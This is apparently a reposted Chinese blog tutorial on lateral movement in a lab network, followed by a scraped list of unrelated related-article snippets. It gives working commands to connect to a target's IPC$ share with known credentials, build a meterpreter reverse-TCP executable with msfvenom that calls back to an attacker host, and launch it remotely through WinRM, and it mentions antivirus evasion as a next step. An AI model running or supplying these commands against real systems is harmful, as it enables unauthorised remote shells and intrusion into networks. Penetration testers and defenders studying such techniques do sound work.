利用WinRM实现内网无文件攻击反弹shell
利用WinRM实现内网无文件攻击反弹shell
原文转自:https://www.freebuf.com/column/212749.html
前言
WinRM是Windows Remote Managementd(win远程管理)的简称。基于Web服务管理(WS-Management)标准,使用80端口或者443端口。这样一来,我们就可以在对方有设置防火墙的情况下远程管理这台服务器了。
Server2008R2及往上的系统中默认中都开启该服务,从Server2012系统后开始,该WinRM服务便被设置为默认开启。Win7系统中却默认安装此WinRM服务,但是默认为禁用状态,Win8系统和Win10系统也都默认开启WinRM服务。
WinRM的好处在于,这种远程连接不容易被察觉到,也不会占用远程连接数!
环境准备
WinRM会用到5985、5986 端口,所以防火墙必须做开放处理。
用Administrator(管理员)账户登录攻击机器
前提知道被攻击方的用户登录账户密码
Windows操作系统中,默认是开启共享IPC$的
内网IP:192.168.10.1(win10)
被攻击机IP:192.168.10.130(win7)
攻击机IP:192.168.10.149(Kali)
攻击过程
一、快速在(win10)运行winrm
命令:winrm quickconfig
注:Win10是默认开启winrm,win7不是默认的。开启winrm service服务链接:https://jingyan.baidu.com/article/9158e0006b27dfa254122813.html

二、net use连接(win7)
命令:net use \\192.168.10.130\ipc$ “密码” /user:“用户名” (命令不唯一)

四、在(win7)中放置木马,并且用(kali)接收反弹的shell 生成shellcode
命令:msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.10.149 lport=7777 -f exe -o ./xxx.exe

把”xxx.exe”放在(win7)的C盘根目录.

kali启动监听shell模式

利用(win10)的WinRM 实现内网无文件攻击反弹shell,在(win10)中执行以下命令
Winrm invoke create wmicimv2/win32_process @{commandline=”\\192.168.10.130\c\xxx.exe”}

反弹成功
总结和反思
shellcode还可以做一些免杀处理,使其更加的完美。(有待大佬们再次总结)
winrm service 服务配置要正确
ipc共享的时候命令不唯一,看准空格很重要,连接状态有时候自己断开(我还没找到原因,请教大佬),需要重新连接。
用win2008没成功,可能虚拟机问题
利用WinRM实现内网无文件攻击反弹shell的更多相关文章
- Redis利用,攻击内网(ssrf)
		
Redis语法 REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统. Redis是一个开源的使用ANSI C ...
 - [python] 一行命令搭建http服务内网传文件
		
在Linux服务器上或者Windows服务器上,只要安装python,均可以使用此命令,建立一个内网可以快速访问的WEB服务. 在想要搭建WEB服务的目录下,使用Python3.x内置方法: pyth ...
 - IDM使用教程:利用IDM下载百度网盘文件
		
IDM是什么 其实我使用IDM下载器只是为了方便网页版百度网盘直接下载大于40M文件而已,大家知道文件过大必须打开客户端才能下载,这点对于我的破电脑感觉很烦躁,每次要等待它慢悠悠打开,然后动用我的超级 ...
 - Vulnstack内网靶场4
		
环境 漏洞详情 (qiyuanxuetang.net) 仅主机模式内网网段192.168.183.0/24 外网网段192.168.157.0/24 其中Ubuntu作为对外的内网机器 攻击机kali ...
 - 内网安全之横向移动(冰蝎&&msf&&IPC$)
		
1.冰蝎介绍 冰蝎是一款目前比较流行的Webshell管理工具,在2021年更新的2021.4.20 v3.0 Beta 9 版本中去除了动态密钥协商机制,采用预共享密钥,载荷全程无明文.因其优秀的加 ...
 - Ceph万兆内网与系统万兆迁移
		
本文将总结一次为Ceph集群加装万兆内网(cluster network),后因需要对比实验来研究分布式存储集群在计算,网络,存储过程中各部分耗时比例,而将Ceph整体系统又整体搬移至万兆网的过程.但 ...
 - EasyNVR内网摄像机接入网关+EasyNVS云端管理平台,组件起一套轻量级类似于企业级萤石云的解决方案
		
背景分析 对于EasyNVR我们应该都了解,主要应用于互联安防直播,对于EasyNVR,我们可以清楚的发现,EasyNVR的工作机制是EasyNVR拉取摄像机的RTSP/Onvif视频流,然后客户端可 ...
 - NAT、端口映射、内网穿透、公网IP都是啥
		
原文地址:https://wuter.cn/1756.html/ 一.IPv4地址 IP协议是为计算机网络相互连接进行通信而设计的协议,它是能使连接到网上的所有计算机网络实现相互通信的一套规则. 这里 ...
 - [原创]利用Browser协议探测内网主机操作系统版本(无需端口无视防火墙)
		
利用Browser协议可获取机器IP.MAC.机器名.操作系统.域,如图 浏览 在SMB协议中,计算机为了访问网络资源,就需要了解网络上存在的资源列表(例如在Windows下使用网络邻居查看可以访问的 ...
 
随机推荐
- LayUI 上传IE11上传格式错误之后, layer.load(1)的动画一直在,没有关闭(仅限IE11)
			
这个问题,测试反馈的时候,有丝丝的不相信,毕竟layui大家都是那么用的,结果后来用最简单的测试,发现确实会出现动画一直在的情况,如下: 上网搜索,也没发现一些有效的信息,最后就是自己读upload. ...
 - [Linux] linux下vim对于意外退出的文档的再次开启
			
转载自博客:https://blog.csdn.net/ljp1919/article/details/48372615 1.对于同一个文件如果上次已经打开,而未关闭的情况下,又打开该文件进行编辑时, ...
 - Centos利用脚本自动安装jdk
			
在工作中还有自己的学习中,无论是使用tar包安装jdk,还是使用rpm安装,如果单台机器还能够接受,但是如果多台机器,就很困扰.所以,在自己配置环境的时候,根据网上各位前辈,沉淀了这样子一个脚 ...
 - 【linux】【jenkins】自动化运维四 整合gitlab、docker发布java项目
			
jenkins发布java项目 过程参考发布vue项目.https://www.cnblogs.com/jxd283465/p/11543431.html 大同小异. vue建立的是Freestyle ...
 - Mach-O在内存中符号表地址、字符串表地址的计算
			
KSCrash 是一个用于 iOS 平台的崩溃捕捉框架,最近读了其部分源码,在 KSDynamicLinker 文件中有一个函数,代码如下: /** Get the segment base addr ...
 - 1,eclipse导入项目jdk版本不一样解决方案 2,java报javax.servlet.jsp cannot be resolved to a type
			
一:eclipse导入项目jdk版本不一样解决方案 参考博文: https://www.cnblogs.com/chenmingjun/p/8472885.html 选中项目右键 --> Pro ...
 - 从原理到场景 系统讲解 PHP 缓存技术(全)
			
概述 缓存已经成了项目中是必不可少的一部分,它是提高性能最好的方式,例如减少网络I/O.减少磁盘I/O 等,使项目加载速度变的更快. 缓存可以是CPU缓存.内存缓存.硬盘缓存,不同的缓存查询速度也不一 ...
 - shell管道与重定向
			
输出重定向 $ ls -l > lsoutput 这条命令将ls命令执行后的结果输入出到lsoutput文件中. 在linux shell中使用符号 > ,< 来完成输入输出的重定向 ...
 - LeetCode 题解汇总
			
前言 现如今,对于技术人员(软开.算法等)求职过程中笔试都是必不可少的(免笔试的除外,大部分人都需要笔试),而笔试一般组成都是选择.填空.简答题.编程题(这部分很重要),所以刷题是必不可少的:对于应届 ...
 - Python 模拟淘宝登录的两种方法
			
方法一.urllib的post登录 import urllib import urllib2 import cookielib def taobao(username,password): cj = ...